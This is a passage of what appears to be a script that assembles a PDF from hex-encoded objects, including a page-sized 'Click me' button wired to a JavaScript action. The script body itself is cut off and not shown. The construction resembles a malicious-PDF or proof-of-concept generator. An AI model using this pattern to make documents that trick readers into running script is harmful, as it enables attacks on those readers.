"\xd\x3c\x3c\x2f\x43\x6c\x61\x73\x73\x4d\x61\x70\x20\x31\x31\x20\x30\x20\x52\x2f\x4b\x20\x31\x32\x20\x30\x20\x52\x2f\x50\x61\x72\x65\x6e\x74\x54\x72\x65\x65\x20\x31\x33\x20\x30\x20\x52\x2f\x50\x61\x72\x65\x6e\x74\x54\x72\x65\x65\x4e\x65\x78\x74\x4b\x65\x79\x20\x31\x2f\x54\x79\x70\x65\x2f\x53\x74\x72\x75\x63\x74\x54\x72\x65\x65\x52\x6f\x6f\x74\x3e\x3e\xd") + add_object(11, "\xd\x3c\x3c\x2f\x53\x70\x64\x72\x41\x72\x74\x3c\x3c\x2f\x4f\x2f\x57\x65\x62\x43\x61\x70\x74\x75\x72\x65\x3e\x3e\x3e\x3e\xd") + add_object(12, "\xd\x3c\x3c\x2f\x4b\x20\x31\x35\x20\x30\x20\x52\x2f\x50\x20\x31\x30\x20\x30\x20\x52\x2f\x53\x2f\x44\x6f\x63\x75\x6d\x65\x6e\x74\x3e\x3e\xd") + add_object(13, "\xd\x3c\x3c\x2f\x4e\x75\x6d\x73\x5b\x30\x20\x31\x34\x20\x30\x20\x52\x5d\x3e\x3e\xd") + add_object(14, "\xd\x5b\x31\x35\x20\x30\x20\x52\x20\x31\x35\x20\x30\x20\x52\x5d\xd") + add_object(15, "\xd\x3c\x3c\x2f\x43\x2f\x53\x70\x64\x72\x41\x72\x74\x2f\x4b\x5b\x30\x20\x31\x5d\x2f\x50\x20\x31\x32\x20\x30\x20\x52\x2f\x50\x67\x20\x32\x36\x20\x30\x20\x52\x2f\x53\x2f\x41\x72\x74\x69\x63\x6c\x65\x3e\x3e\xd") + add_object(26, "\xd\x3c\x3c\x2f\x41\x6e\x6e\x6f\x74\x73\x20\x34\x31\x20\x30\x20\x52\x2f\x43\x6f\x6e\x74\x65\x6e\x74\x73\x20\x35\x34\x20\x30\x20\x52\x2f\x43\x72\x6f\x70\x42\x6f\x78\x5b\x30\x2e\x30\x20\x30\x2e\x30\x20\x36\x31\x32\x2e\x30\x20\x37\x39\x32\x2e\x30\x5d\x2f\x47\x72\x6f\x75\x70\x20\x33\x34\x20\x30\x20\x52\x2f\x49\x44\x20\x33\x35\x20\x30\x20\x52\x2f\x4d\x65\x64\x69\x61\x42\x6f\x78\x5b\x30\x2e\x30\x20\x30\x2e\x30\x20\x36\x31\x32\x2e\x30\x20\x37\x39\x32\x2e\x30\x5d\x2f\x50\x5a\x20\x31\x2e\x30\x2f\x50\x61\x72\x65\x6e\x74\x20\x31\x36\x20\x30\x20\x52\x2f\x52\x65\x73\x6f\x75\x72\x63\x65\x73\x3c\x3c\x2f\x43\x6f\x6c\x6f\x72\x53\x70\x61\x63\x65\x3c\x3c\x2f\x43\x53\x30\x20\x33\x33\x20\x30\x20\x52\x3e\x3e\x3e\x3e\x2f\x52\x6f\x74\x61\x74\x65\x20\x30\x2f\x53\x74\x72\x75\x63\x74\x50\x61\x72\x65\x6e\x74\x73\x20\x30\x2f\x54\x79\x70\x65\x2f\x50\x61\x67\x65\x3e\x3e\xd") + add_object(41, "\xd\x5b\x33\x38\x20\x30\x20\x52\x5d\xd") + add_object(54, "\xd\x3c\x3c\x2f\x46\x69\x6c\x74\x65\x72\x2f\x46\x6c\x61\x74\x65\x44\x65\x63\x6f\x64\x65\x2f\x4c\x65\x6e\x67\x74\x68\x20\x31\x35\x34\x3e\x3e\x73\x74\x72\x65\x61\x6d\xd\x48\x89\x5c\x4e\xc1\xd\xc2\x30\x14\xbb\xf7\x2b\xf2\x5\xbe\x56\xad\x63\x30\x6\xeb\xa6\xe0\x61\x20\xcc\xdb\xf0\x50\x6b\xa7\x3\x5d\x65\x7b\x82\xfe\xbd\x9b\xb7\x79\x48\x42\x12\x8\xa1\xac\xe7\xb6\xb1\x8e\x91\x24\x94\x31\x5b\x77\xf3\x17\xd4\x64\x2\x73\x78\xe0\x44\xc6\x84\x37\x6a\xd\xd\x25\x47\xac\xc7\xa8\x7a\x9d\xf9\xf3\xf4\xa0\x5d\x8\xec\x7b\xd0\xf1\xe7\xe\xf6\xda\x76\x96\xdb\xd0\x21\x4d\x4d\x91\x43\x6c\xcb\x91\x28\xaf\x24\xdc\x0\x5\xc\xae\x13\x4a\x62\xb5\x81\x8e\xd5\x22\xd2\x88\x96\xf1\x24\xbd\x17\x8d\xa0\xe9\x89\xbb\xfb\xe9\x48\x99\xef\xb\xc8\xf9\xcc\x7f\xad\x66\xf5\x57\x80\x1\x0\xcb\xa4\x36\x2c\xd\x65\x6e\x64\x73\x74\x72\x65\x61\x6d\xd") + add_object(34, "\xd\x3c\x3c\x2f\x43\x53\x20\x33\x36\x20\x30\x20\x52\x2f\x53\x2f\x54\x72\x61\x6e\x73\x70\x61\x72\x65\x6e\x63\x79\x3e\x3e\xd") + add_object(35, "\xd\x28\x1a\xca\x20\x4e\x2a\x5\x7b\x3\x0\xdd\xff\x1e\x62\x76\x26\xb3\x29\xd") + add_object(33, "\xd\x5b\x2f\x49\x43\x43\x42\x61\x73\x65\x64\x20\x32\x39\x20\x30\x20\x52\x5d\xd") + add_object(29, "\xd\x3c\x3c\x2f\x46\x69\x6c\x74\x65\x72\x2f\x46\x6c\x61\x74\x65\x44\x65\x63\x6f\x64\x65\x2f\x4c\x65\x6e\x67\x74\x68\x20\x32\x31\x36\x2f\x4e\x20\x31\x3e\x3e\x73\x74\x72\x65\x61\x6d\xd\x48\x89\x62\x60\x60\x9c\xe1\xe8\xe2\xe4\xca\x24\xc0\xc0\x90\x9b\x57\x52\xe4\x1e\xe4\x18\x19\x11\x19\xa5\xc0\x7e\x9e\x81\x8d\x81\x99\x1\xc\x12\x93\x8b\xb\x1c\x3\x2\x7c\x40\xec\xbc\xfc\xbc\x54\x6\xc\xf0\xed\x1a\x3\x23\x88\xbe\xac\xb\x32\xb\x53\x1e\x2f\x60\x4d\x2e\x28\x2a\x1\xd2\x7\x80\xd8\x28\x25\xb5\x38\x19\x48\x7f\x1\xe2\xcc\xf2\x92\x2\xa0\x38\x63\x2\x90\x2d\x92\x94\xd\x66\x83\xd4\x89\x64\x87\x4\x39\x3\xd9\x1d\x40\x36\x5f\x49\x6a\x5\x48\x8c\xc1\x39\xbf\xa0\xb2\x28\x33\x3d\xa3\x44\xc1\xd0\xd2\xd2\x52\xc1\x31\x25\x3f\x29\x55\x21\xb8\xb2\xb8\x24\x35\xb7\x58\xc1\x33\x2f\x39\xbf\xa8\x20\xbf\x28\xb1\x24\x35\x5\xa8\x16\x6a\x7\x8\xf0\xbb\x17\x25\x56\x2a\xb8\x27\xe6\xe6\x26\x2a\x18\xe9\x19\x91\xe8\x72\x22\x0\x28\x2c\x21\xac\xcf\x21\xe0\x30\x62\x14\x3b\x8f\x10\x43\x80\xe4\xd2\xa2\x32\x28\x93\x91\xc9\x98\x81\x1\x20\xc0\x0\x49\xc6\x38\x2f\xd\x65\x6e\x64\x73\x74\x72\x65\x61\x6d\xd") + add_object(36, "\xd\x5b\x2f\x49\x43\x43\x42\x61\x73\x65\x64\x20\x33\x30\x20\x30\x20\x52\x5d\xd") + add_object(30, "\xd\x3c\x3c\x2f\x41\x6c\x74\x65\x72\x6e\x61\x74\x65\x2f\x44\x65\x76\x69\x63\x65\x52\x47\x42\x2f\x46\x69\x6c\x74\x65\x72\x2f\x46\x6c\x61\x74\x65\x44\x65\x63\x6f\x64\x65\x2f\x4c\x65\x6e\x67\x74\x68\x20\x32\x35\x37\x34\x2f\x4e\x20\x33\x3e\x3e\x73\x74\x72\x65\x61\x6d\xd\x48\x89\x9c\x96\x79\x54\x53\x77\x16\xc7\x7f\x6f\xc9\x9e\x90\x95\xb0\xc3\x63\xd\x5b\x80\xb0\x6\x90\x35\x6c\x61\x91\x1d\x4\x51\x8\x49\x8\x1\x12\x42\x48\xd8\x5\x41\x44\x5\x14\x45\x44\x84\xaa\x95\x32\xd6\x6d\x74\x46\x4f\x45\x9d\x2e\xae\x63\xad\xe\xd6\x7d\xea\xd2\x3\xf5\x30\xea\xe8\x38\xb4\x16\xd7\x8e\x9d\x17\x38\x47\x9d\x4e\x67\xa6\xd3\xef\x1f\xef\xf7\x39\xf7\x77\xef\xef\xdd\xdf\xbd\xf7\x9d\xf3\x0\xa0\x27\xa5\xaa\xb5\xd5\x30\xb\x0\x8d\xd6\xa0\xcf\x4a\x8c\xc5\x16\x15\x14\x62\xa4\x9\x0\x3\xd\x20\x2\x11\x0\x32\x79\xad\x2e\x2d\x3b\x21\x7\xe0\x92\xc6\x4b\xb0\x5a\xdc\x9\xfc\x8b\x9e\x5e\x7\x90\x69\xbd\x22\x4c\xca\xc0\x30\xf0\xff\x89\x2d\xd7\xe9\xd\x0\x40\x19\x38\x7\x28\x94\xb5\x72\x9c\x3b\x71\xae\xaa\x37\xe8\x4c\xf6\x19\x9c\x79\xa5\x95\x26\x86\x51\x13\xeb\xf1\x4\x71\xb6\x34\xb1\x6a\x9e\xbd\xe7\x7c\xe6\x39\xda\xc4\xd\x8d\x56\x81\xb3\x29\x67\x9d\x42\xa3\x30\xf1\x69\x9c\x57\xd7\x19\x95\x38\x23\xa9\x38\x77\xd5\xa9\x95\xf5\x38\x5f\xc5\xd9\xa5\xca\xa8\x51\xe3\xfc\xdc\x14\xab\x51\xca\x6a\x1\x40\xe9\x26\xbb\x41\x29\x2f\xc7\xd9\xf\x67\xba\x3e\x27\x4b\x82\xf3\x2\x0\xc8\x74\xd5\x3b\x5c\xfa\xe\x1b\x94\xd\x6\xd3\xa5\x24\xd5\xba\x46\xbd\x5a\x55\x6e\xc0\xdc\xe5\x1e\x98\x28\x34\x54\x8c\x25\x29\xeb\xab\x94\x6\x83\x30\x43\x26\xaf\x94\xe9\x15\x98\xa4\x5a\xa3\x93\x69\x1b\x1\x98\xbf\xf3\x9c\x38\xa6\xda\x62\x78\x91\x83\x45\xa1\xc1\xc1\x42\x7f\x1f\xd1\x3b\x85\xfa\xaf\x9b\xbf\x50\xa6\xde\xce\xd3\x93\xcc\xb9\x9e\x41\xfc\xb\x6f\x6d\x3f\xe7\x57\x3d\xd\x80\x78\x16\xaf\xcd\xfa\xb7\xb6\xd2\x2d\x0\x8c\xaf\x4\xc0\xf2\xe6\x5b\x9b\xcb\xfb\x0\x30\xf1\xbe\x1d\xbe\xf8\xce\x7d\xf8\xa6\x79\x29\x37\x18\x74\x61\xbe\xbe\xf5\xf5\xf5\x3e\x6a\xa5\xdc\xc7\x54\xd0\x37\xfa\x9f\xe\xbf\x40\xef\xbc\xcf\xc7\x74\xdc\x9b\xf2\x60\x71\xca\x32\x99\xb1\xca\x80\x99\xea\x26\xaf\xae\xaa\x36\xea\xb1\x5a\x9d\x4c\xae\xc4\x84\x3f\x1d\xe2\x5f\x1d\xf8\xf3\x79\x78\x67\x29\xcb\x94\x7a\xa5\x16\x8f\xc8\xc3\xa7\x4c\xad\x55\xe1\xed\xd6\x2a\xd4\x6\x75\xb5\x16\x53\x6b\xff\x53\x13\x7f\x65\xd8\x4f\x34\x3f\xd7\xb8\xb8\x63\xaf\x1\xaf\xd8\x7\xb0\x2e\xf2\x0\xf2\xb7\xb\x0\xe5\xd2\x0\x52\xb4\xd\xdf\x81\xde\xf4\x2d\x95\x92\x7\x32\xf0\x35\xdf\xe1\xde\xfc\xdc\xcf\x9\xfa\xf7\x53\xe1\x3e\xd3\xa3\x56\xad\x9a\x8b\x93\x64\xe5\x60\x72\xa3\xbe\x6e\x7e\xcf\xf4\x59\x2\x2\xa0\x2\x26\xe0\x1\x2b\x60\xf\x9c\x81\x3b\x10\x2\x7f\x10\x2\xc2\x41\x34\x88\x7\xc9\x20\x1d\xe4\x80\x2\xb0\x14\xc8\x41\x39\xd0\x0\x3d\xa8\x7\x2d\xa0\x1d\x74\x81\x1e\xb0\x1e\x6c\x2\xc3\x60\x3b\x18\x3\xbb\xc1\x7e\x70\x10\x8c\x83\x8f\xc1\x9\xf0\x47\x70\x1e\x7c\x9\xae\x81\x5b\x60\x12\x4c\x83\x87\x60\x6\x3c\x5\xaf\x20\x8\x22\x41\xc\x88\xb\x59\x41\xe\x90\x2b\xe4\x5\xf9\x43\x62\x28\x12\x8a\x87\x52\xa1\x2c\xa8\x0\x2a\x81\x54\x90\x16\x32\x42\x2d\xd0\xd\xa8\x7\xea\x87\x86\xa1\x1d\xd0\x6e\xe8\xf7\xd0\x51\xe8\x4\x74\xe\xba\x4\x7d\x5\x4d\x41\xf\xa0\xef\xa0\x97\x30\x2\xd3\x61\x1e\x6c\x7\xbb\xc1\xbe\xb0\x18\x8e\x81\x53\xe0\x1c\x78\x9\xac\x82\x6b\xe0\x26\xb8\x13\x5e\x7\xf\xc1\xa3\xf0\x3e\xf8\x30\x7c\x2\x3e\xf\x5f\x83\x27\xe1\x87\xf0\x2c\x2\x10\x1a\xc2\x47\x1c\x11\x21\x22\x46\x24\x48\x3a\x52\x88\x94\x21\x7a\xa4\x15\xe9\x46\x6\x91\x51\x64\x3f\x72\xc\x39\x8b\x5c\x41\x26\x91\x47\xc8\xb\x94\x88\x72\x51\xc\x15\xa2\xe1\x68\x12\x9a\x8b\xca\xd1\x1a\xb4\x15\xed\x45\x87\xd1\x5d\xe8\x61\xf4\x34\x7a\x5\x9d\x42\x67\xd0\xd7\x4\x6\xc1\x96\xe0\x45\x8\x23\x48\x9\x8b\x8\x2a\x42\x3d\xa1\x8b\x30\x48\xd8\x49\xf8\x88\x70\x86\x70\x8d\x30\x4d\x78\x4a\x24\x12\xf9\x44\x1\x31\x84\x98\x44\x2c\x20\x56\x10\x9b\x89\xbd\xc4\xad\xc4\x3\xc4\xe3\xc4\x4b\xc4\xbb\xc4\x59\x12\x89\x64\x45\xf2\x22\x45\x90\xd2\x49\x32\x92\x81\xd4\x45\xda\x42\xda\x47\xfa\x8c\x74\x99\x34\x4d\x7a\x4e\xa6\x91\x1d\xc8\xfe\xe4\x4\x72\x21\x59\x4b\xee\x20\xf\x92\xf7\x90\x3f\x25\x5f\x26\xdf\x23\xbf\xa2\xb0\x28\xae\x94\x30\x4a\x3a\x45\x41\x69\xa4\xf4\x51\xc6\x28\xc7\x28\x17\x29\xd3\x94\x57\x54\x36\x55\x40\x8d\xa0\xe6\x50\x2b\xa8\xed\xd4\x21\xea\x7e\xea\x19\xea\x6d\xea\x13\x1a\x8d\xe6\x44\xb\xa5\x65\xd2\xd4\xb4\xe5\xb4\x21\xda\xef\x68\x9f\xd3\xa6\x68\x2f\xe8\x1c\xba\x27\x5d\x42\x2f\xa2\x1b\xe9\xeb\xe8\x1f\xd2\x8f\xd3\xbf\xa2\x3f\x61\x30\x18\x6e\x8c\x68\x46\x21\xc3\xc0\x58\xc7\xd8\xcd\x38\xc5\xf8\x9a\xf1\xdc\x8c\x6b\xe6\x63\x26\x35\x53\x98\xb5\x99\x8d\x98\x1d\x36\xbb\x6c\xf6\x98\x49\x61\xba\x32\x63\x98\x4b\x99\x4d\xcc\x41\xe6\x21\xe6\x45\xe6\x23\x16\x85\xe5\xc6\x92\xb0\x64\xac\x56\xd6\x8\xeb\x28\xeb\x6\x6b\x96\xcd\x65\x8b\xd8\xe9\x6c\xd\xbb\x97\xbd\x87\x7d\x8e\x7d\x9f\x43\xe2\xb8\x71\xe2\x39\xd\x4e\x27\xe7\x3\xce\x29\xce\x5d\x2e\xc2\x75\xe6\x4a\xb8\x72\xee\xd\xee\x18\xf7\xc\x77\x9a\x47\xe4\x9\x78\x52\x5e\x5\xaf\x87\xf7\x5b\xde\x4\x6f\xc6\x9c\x63\x1e\x68\x9e\x67\xde\x60\x3e\x62\xfe\x89\xf9\x24\x1f\xe1\xbb\xf1\xa5\xfc\x2a\x7e\x1f\xff\x20\xff\x3a\xff\xa5\x85\x9d\x45\x8c\x85\xd2\x62\x8d\xc5\x7e\x8b\xcb\x16\xcf\x2c\x6d\x2c\xa3\x2d\x95\x96\xdd\x96\x7\x2c\xaf\x59\xbe\xb4\xc2\xac\xe2\xad\x2a\xad\x36\x58\x8d\x5b\xdd\xb1\x46\xad\x3d\xad\x33\xad\xeb\xad\xb7\x59\x9f\xb1\x7e\x64\xc3\xb3\x9\xb7\x91\xdb\x74\xdb\x1c\xb4\xb9\x69\xb\xdb\x7a\xda\x66\xd9\x36\xdb\x7e\x60\x7b\xc1\x76\xd6\xce\xde\x2e\xd1\x4e\x67\xb7\xc5\xee\x94\xdd\x23\x7b\xbe\x7d\xb4\x7d\x85\xfd\x80\xfd\xa7\xf6\xf\x1c\xb8\xe\x91\xe\x6a\x87\x1\x87\xcf\x1c\xfe\x8a\x99\x63\x31\x58\x15\x36\x84\x9d\xc6\x66\x1c\x6d\x1d\x93\x1c\x8d\x8e\x3b\x1c\x27\x1c\x5f\x39\x9\x9c\x72\x9d\x3a\x9c\xe\x38\xdd\x71\xa6\x3a\x8b\x9d\xcb\x9c\x7\x9c\x4f\x3a\xcf\xb8\x38\xb8\xa4\xb9\xb4\xb8\xec\x75\xb9\xe9\x4a\x71\x15\xbb\x96\xbb\x6e\x76\x3d\xeb\xfa\xcc\x4d\xe0\x96\xef\xb6\xca\x6d\xdc\xed\xbe\xc0\x52\x20\x15\x34\x9\xf6\xd\x6e\xbb\x33\xdc\xa3\xdc\x6b\xdc\x47\xdd\xaf\x7a\x10\x3d\xc4\x1e\x95\x1e\x5b\x3d\xbe\xf4\x84\x3d\x83\x3c\xcb\x3d\x47\x3c\x2f\x7a\xc1\x5e\xc1\x5e\x6a\xaf\xad\x5e\x97\xbc\x9\xde\xa1\xde\x5a\xef\x51\xef\x1b\x42\xba\x30\x46\x58\x27\xdc\x2b\x9c\xf2\xe1\xfb\xa4\xfa\x74\xf8\x8c\xfb\x3c\xf6\x75\xf1\x2d\xf4\xdd\xe0\x7b\xd6\xf7\xb5\x5f\x90\x5f\x95\xdf\x98\xdf\x2d\x11\x47\x94\x2c\xea\x10\x1d\x13\x7d\xe7\xef\xe9\x2f\xf7\x1f\xf1\xbf\x1a\xc0\x8\x48\x8\x68\xb\x38\x12\xf0\x6d\xa0\x57\xa0\x32\x70\x5b\xe0\x9f\x83\xb8\x41\x69\x41\xab\x82\x4e\x6\xfd\x23\x38\x24\x58\x1f\xbc\x3f\xf8\x41\x88\x4b\x48\x49\xc8\x7b\x21\x37\xc4\x3c\x71\x86\xb8\x57\xfc\x79\x28\x21\x34\x36\xb4\x2d\xf4\xe3\xd0\x17\x61\xc1\x61\x86\xb0\x83\x61\x7f\xf\x17\x86\x57\x86\xef\x9\xbf\xbf\x40\xb0\x40\xb9\x60\x6c\xc1\xdd\x8\xa7\x8\x59\xc4\x8e\x88\xc9\x48\x2c\xb2\x24\xf2\xfd\xc8\xc9\x28\xc7\x28\x59\xd4\x68\xd4\x37\xd1\xce\xd1\x8a\xe8\x9d\xd1\xf7\x62\x3c\x62\x2a\x62\xf6\xc5\x3c\x8e\xf5\x8b\xd5\xc7\x7e\x14\xfb\x4c\x12\x26\x59\x26\x39\x1e\x87\xc4\x25\xc6\x75\xc7\x4d\xc4\x73\xe2\x73\xe3\x87\xe3\xbf\x4e\x70\x4a\x50\x25\xec\x4d\x98\x49\xc\x4a\x6c\x4e\x3c\x9e\x44\x48\x4a\x49\xda\x90\x74\x43\x6a\x27\x95\x4b\x77\x4b\x67\x92\x43\x92\x97\x25\x9f\x4e\xa1\xa7\x64\xa7\xc\xa7\x7c\x93\xea\x99\xaa\x4f\x3d\x96\x6\xa7\x25\xa7\x6d\x4c\xbb\xbd\xd0\x75\xa1\x76\xe1\x78\x3a\x48\x97\xa6\x6f\x4c\xbf\x93\x21\xc8\xa8\xc9\xf8\x43\x26\x31\x33\x23\x73\x24\xf3\x2f\x59\xa2\xac\x96\xac\xb3\xd9\xdc\xec\xe2\xec\x3d\xd9\x4f\x73\x62\x73\xfa\x72\x6e\xe5\xba\xe7\x1a\x73\x4f\xe6\x31\xf3\x8a\xf2\x76\xe7\x3d\xcb\x8f\xcb\xef\xcf\x9f\x5c\xe4\xbb\x68\xd9\xa2\xf3\x5\xd6\x5\xea\x82\x23\x85\xa4\xc2\xbc\xc2\x9d\x85\xb3\x8b\xe3\x17\x6f\x5a\x3c\x5d\x14\x54\xd4\x55\x74\x7d\x89\x60\x49\xc3\x92\x73\x4b\xad\x97\x56\x2d\xfd\xa4\x98\x59\x2c\x2b\x3e\x54\x42\x28\xc9\x2f\xd9\x53\xf2\x83\x2c\x5d\x36\x2a\x9b\x2d\x95\x96\xbe\x57\x3a\x23\x97\xc8\x37\xcb\x1f\x2a\xa2\x15\x3\x8a\x7\xca\x8\x65\xbf\xf2\x5e\x59\x44\x59\x7f\xd9\x7d\x55\x84\x6a\xa3\xea\x41\x79\x54\xf9\x60\xf9\x23\xb5\x44\x3d\xac\xfe\xb6\x22\xa9\x62\x7b\xc5\xb3\xca\xf4\xca\xf\x2b\x7f\xac\xca\xaf\x3a\xa0\x21\x6b\x4a\x34\x47\xb5\x1c\x6d\xa5\xf6\x74\xb5\x7d\x75\x43\xf5\x25\x9d\x97\xae\x4b\x37\x59\x13\x56\xb3\xa9\x66\x46\x9f\xa2\xdf\x59\xb\xd5\x2e\xa9\x3d\x62\xe0\xe1\x3f\x53\x17\x8c\xee\xc6\x95\xc6\xa9\xba\xc8\xba\x91\xba\xe7\xf5\x79\xf5\x87\x1a\xd8\xd\xda\x86\xb\x8d\x9e\x8d\x6b\x1a\xef\x35\x25\x34\xfd\xa6\x19\x6d\x96\x37\x9f\x6c\x71\x6c\x69\x6f\x99\x5a\x16\xb3\x6c\x47\x2b\xd4\x5a\xda\x7a\xb2\xcd\xb9\xad\xb3\x6d\x7a\x79\xe2\xf2\x5d\xed\xd4\xf6\xca\xf6\x3f\x75\xf8\x75\xf4\x77\x7c\xbf\x22\x7f\xc5\xb1\x4e\xbb\xce\xe5\x9d\x77\x57\x26\xae\xdc\xdb\x65\xd6\xa5\xef\xba\xb1\x2a\x7c\xd5\xf6\xd5\xe8\x6a\xf5\xea\x89\x35\x1\x6b\xb6\xac\x79\xdd\xad\xe8\xfe\xa2\xc7\xaf\x67\xb0\xe7\x87\x5e\x79\xef\x17\x6b\x45\x6b\x87\xd6\xfe\xb8\xae\x6c\xdd\x44\x5f\x70\xdf\xb6\xf5\xc4\xf5\xda\xf5\xd7\x37\x44\x6d\xd8\xd5\xcf\xee\x6f\xea\xbf\xbb\x31\x6d\xe3\xe1\x1\x6c\xa0\x7b\xe0\xfb\x4d\xc5\x9b\xce\xd\x6\xe\x6e\xdf\x4c\xdd\x6c\xdc\x3c\x39\x94\xfa\x4f\x0\xa4\x1\x5b\xfe\x98\xb8\x99\x24\x99\x90\x99\xfc\x9a\x68\x9a\xd5\x9b\x42\x9b\xaf\x9c\x1c\x9c\x89\x9c\xf7\x9d\x64\x9d\xd2\x9e\x40\x9e\xae\x9f\x1d\x9f\x8b\x9f\xfa\xa0\x69\xa0\xd8\xa1\x47\xa1\xb6\xa2\x26\xa2\x96\xa3\x6\xa3\x76\xa3\xe6\xa4\x56\xa4\xc7\xa5\x38\xa5\xa9\xa6\x1a\xa6\x8b\xa6\xfd\xa7\x6e\xa7\xe0\xa8\x52\xa8\xc4\xa9\x37\xa9\xa9\xaa\x1c\xaa\x8f\xab\x2\xab\x75\xab\xe9\xac\x5c\xac\xd0\xad\x44\xad\xb8\xae\x2d\xae\xa1\xaf\x16\xaf\x8b\xb0\x0\xb0\x75\xb0\xea\xb1\x60\xb1\xd6\xb2\x4b\xb2\xc2\xb3\x38\xb3\xae\xb4\x25\xb4\x9c\xb5\x13\xb5\x8a\xb6\x1\xb6\x79\xb6\xf0\xb7\x68\xb7\xe0\xb8\x59\xb8\xd1\xb9\x4a\xb9\xc2\xba\x3b\xba\xb5\xbb\x2e\xbb\xa7\xbc\x21\xbc\x9b\xbd\x15\xbd\x8f\xbe\xd\xbe\x84\xbe\xff\xbf\x7a\xbf\xf5\xc0\x70\xc0\xec\xc1\x67\xc1\xe3\xc2\x5f\xc2\xdb\xc3\x58\xc3\xd4\xc4\x51\xc4\xce\xc5\x4b\xc5\xc8\xc6\x46\xc6\xc3\xc7\x41\xc7\xbf\xc8\x3d\xc8\xbc\xc9\x3a\xc9\xb9\xca\x38\xca\xb7\xcb\x36\xcb\xb6\xcc\x35\xcc\xb5\xcd\x35\xcd\xb5\xce\x36\xce\xb6\xcf\x37\xcf\xb8\xd0\x39\xd0\xba\xd1\x3c\xd1\xbe\xd2\x3f\xd2\xc1\xd3\x44\xd3\xc6\xd4\x49\xd4\xcb\xd5\x4e\xd5\xd1\xd6\x55\xd6\xd8\xd7\x5c\xd7\xe0\xd8\x64\xd8\xe8\xd9\x6c\xd9\xf1\xda\x76\xda\xfb\xdb\x80\xdc\x5\xdc\x8a\xdd\x10\xdd\x96\xde\x1c\xde\xa2\xdf\x29\xdf\xaf\xe0\x36\xe0\xbd\xe1\x44\xe1\xcc\xe2\x53\xe2\xdb\xe3\x63\xe3\xeb\xe4\x73\xe4\xfc\xe5\x84\xe6\xd\xe6\x96\xe7\x1f\xe7\xa9\xe8\x32\xe8\xbc\xe9\x46\xe9\xd0\xea\x5b\xea\xe5\xeb\x70\xeb\xfb\xec\x86\xed\x11\xed\x9c\xee\x28\xee\xb4\xef\x40\xef\xcc\xf0\x58\xf0\xe5\xf1\x72\xf1\xff\xf2\x8c\xf3\x19\xf3\xa7\xf4\x34\xf4\xc2\xf5\x50\xf5\xde\xf6\x6d\xf6\xfb\xf7\x8a\xf8\x19\xf8\xa8\xf9\x38\xf9\xc7\xfa\x57\xfa\xe7\xfb\x77\xfc\x7\xfc\x98\xfd\x29\xfd\xba\xfe\x4b\xfe\xdc\xff\x6d\xff\xff\x2\xc\x0\xf7\x84\xf3\xfb\xd\x65\x6e\x64\x73\x74\x72\x65\x61\x6d\xd") + add_object(38, "\xd\x3c\x3c\x2f\x41\x20\x34\x33\x20\x30\x20\x52\x2f\x41\x50\x3c\x3c\x2f\x4e\x20\x35\x31\x20\x30\x20\x52\x3e\x3e\x2f\x44\x41\x28\x2f\x48\x65\x42\x6f\x20\x31\x32\x20\x54\x66\x20\x30\x20\x67\x29\x2f\x46\x20\x34\x2f\x46\x54\x2f\x42\x74\x6e\x2f\x46\x66\x20\x36\x35\x35\x33\x36\x2f\x4d\x4b\x3c\x3c\x2f\x42\x47\x5b\x31\x2e\x30\x20\x31\x2e\x30\x20\x31\x2e\x30\x5d\x2f\x43\x41\x28\x43\x6c\x69\x63\x6b\x20\x6d\x65\x29\x2f\x54\x50\x20\x31\x3e\x3e\x2f\x50\x20\x32\x36\x20\x30\x20\x52\x2f\x52\x65\x63\x74\x5b\x30\x2e\x30\x20\x30\x2e\x36\x31\x34\x38\x36\x38\x20\x36\x31\x31\x2e\x33\x38\x34\x20\x37\x39\x32\x2e\x30\x5d\x2f\x53\x75\x62\x74\x79\x70\x65\x2f\x57\x69\x64\x67\x65\x74\x2f\x54\x28\x62\x74\x6e\x43\x6c\x69\x63\x6b\x4d\x65\x29\x2f\x54\x55\x28\x43\x6c\x69\x63\x6b\x20\x6d\x65\x29\x2f\x54\x79\x70\x65\x2f\x41\x6e\x6e\x6f\x74\x3e\x3e\xd") + add_object(43, "\xd\x3c\x3c\x2f\x4a\x53\x20\x34\x36\x20\x30\x20\x52\x2f\x53\x2f\x4a\x61\x76\x61\x53\x63\x72\x69\x70\x74\x3e\x3e\xd") + add_object(51, "\xd\x3c\x3c\x2f\x42\x42\x6f\x78\x5b\x30\x2e\x30\x20\x30\x2e\x30\x20\x36\x31\x31\x2e\x33\x38\x34\x20\x37\x39\x31\x2e\x33\x38\x35\x5d\x2f\x46\x6f\x72\x6d\x54\x79\x70\x65\x20\x31\x2f\x4c\x65\x6e\x67\x74\x68\x20\x36\x34\x2f\x4d\x61\x74\x72\x69\x78\x5b\x31\x2e\x30\x20\x30\x2e\x30\x20\x30\x2e\x30\x20\x31\x2e\x30\x20\x30\x2e\x30\x20\x30\x2e\x30\x5d\x2f\x52\x65\x73\x6f\x75\x72\x63\x65\x73\x3c\x3c\x2f\x50\x72\x6f\x63\x53\x65\x74\x5b\x2f\x50\x44\x46\x5d\x3e\x3e\x2f\x53\x75\x62\x74\x79\x70\x65\x2f\x46\x6f\x72\x6d\x2f\x54\x79\x70\x65\x2f\x58\x4f\x62\x6a\x65\x63\x74\x3e\x3e\x73\x74\x72\x65\x61\x6d\xd\x31\x20\x67\xd\x30\x20\x30\x20\x36\x31\x31\x2e\x33\x38\x33\x38\x20\x37\x39\x31\x2e\x33\x38\x35\x31\x20\x72\x65\xd\x66\xd\x71\xd\x31\x20\x31\x20\x36\x30\x39\x2e\x33\x38\x33\x38\x20\x37\x38\x39\x2e\x33\x38\x35\x31\x20\x72\x65\xd\x57\xd\x6e\xd\x51\xd\x65\x6e\x64\x73\x74\x72\x65\x61\x6d\xd") + # add_object(46, 